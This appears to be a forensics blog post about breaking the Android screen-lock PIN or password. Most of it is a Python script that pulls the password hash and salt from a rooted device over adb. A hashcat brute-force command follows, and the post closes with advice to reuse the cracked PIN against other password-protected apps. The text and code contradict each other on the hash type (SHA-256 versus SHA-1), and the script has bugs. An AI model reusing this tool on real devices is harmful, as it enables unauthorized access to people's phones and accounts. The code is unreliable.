The posts about how to break the screen lock are very frequently visited. This is why I thought it’s time to give you a short update and provide you with a Python script, that can do most of the attack in an automated way.
First of all, there has been one minor change in the latest versions of Android. The SQLite database with the salt needed for the hash-calculation can now be find in a different location: /data/system/locksettings.db
To extract the salt from the database you can use the following SQLite statement: “SELECT value FROM locksettings WHERE name=’lockscreen.password_salt'”
Everything else is still the same, even after several years and many new Android versions.
With the help of the following Python script, you can get everything needed from a connected and rooted device:
#!/usr/bin/python # # Copyright (C) 2015 Michael Spreitzenbarth (email@example.com) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os, sys, subprocess, binascii, struct import sqlite3 as lite def get_sha1hash(backup_dir): # dumping the password/pin from the device print "Dumping PIN/Password hash ..." password = subprocess.Popen(['adb', 'pull', '/data/system/password.key', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) password.wait() # cutting the HASH within password.key sha1hash = open(backup_dir + '/password.key', 'r').readline()[:40] print "HASH: \033[0;32m" + sha1hash + "\033[m" return sha1hash def get_salt(backup_dir): # dumping the system DB containing the SALT print "Dumping locksettings.db ..." saltdb = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) saltdb.wait() saltdb2 = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db-wal', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) saltdb2.wait() saltdb3 = subprocess.Popen(['adb', 'pull', '/data/system/locksettings.db-shm', backup_dir], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) saltdb3.wait() # extract the SALT con = lite.connect(backup_dir + '/locksettings.db') cur = con.cursor() cur.execute("SELECT value FROM locksettings WHERE name='lockscreen.password_salt'") salt = cur.fetchone() con.close() # convert SALT to Hex returnedsalt = binascii.hexlify(struct.pack('>q', int(salt) )) print "SALT: \033[0;32m" + returnedsalt + "\033[m" return returnedsalt def write_crack(salt, sha1hash, backup_dir): crack = open(backup_dir + '/crack.hash', 'a+') # write HASH and SALT to cracking file hash_salt = sha1hash + ':' + salt crack.write(hash_salt) crack.close() if __name__ == '__main__': # check if device is connected and adb is running as root if subprocess.Popen(['adb', 'get-state'], stdout=subprocess.PIPE).communicate(0).split("\n") == "unknown": print "no device connected - exiting..." sys.exit(2) # starting to create the output directory and the crack file used for hashcat backup_dir = sys.argv try: os.stat(backup_dir) except: os.mkdir(backup_dir) sha1hash = get_sha1hash(backup_dir) salt = get_salt(backup_dir) write_crack(salt, sha1hash, backup_dir) print "crack.hash can now be used to feed hashcat"
As soon as the script has finished successfully you will receive a file – crack.hash – which contains the sha256 hash of the users PIN/Password and the salt extracted from the corresponding system database.
If you now want to start the brute-force attack you only need hashcat and the following command:
# this is an example for brute-forcing 8-digit PINs # have a look at the hashcat manual if you want to break real passwords hashcat -a 3 -m 110 crack.hash -1 ?d ?1?1?1?1?1?1?1?1
Very often people are asking “why to brute-force the PIN/Password when you already have root access?”. The answer is very simple. Users of mobile devices are often lazy and use the same PIN/Password at multiple locations (e.g., secure containers, password-protected apps, etc.). If you can get the PIN/Password here, where it is documented and there are tools available that help to perform the attack, why to try to reverse the protection functions in other apps and hope that you have tools available that do the brute-force attack for you. Just use the PIN/Password from the screen lock and test it whenever an app is asking for something similar.
During my daily work, this often helped me to save a lot of time.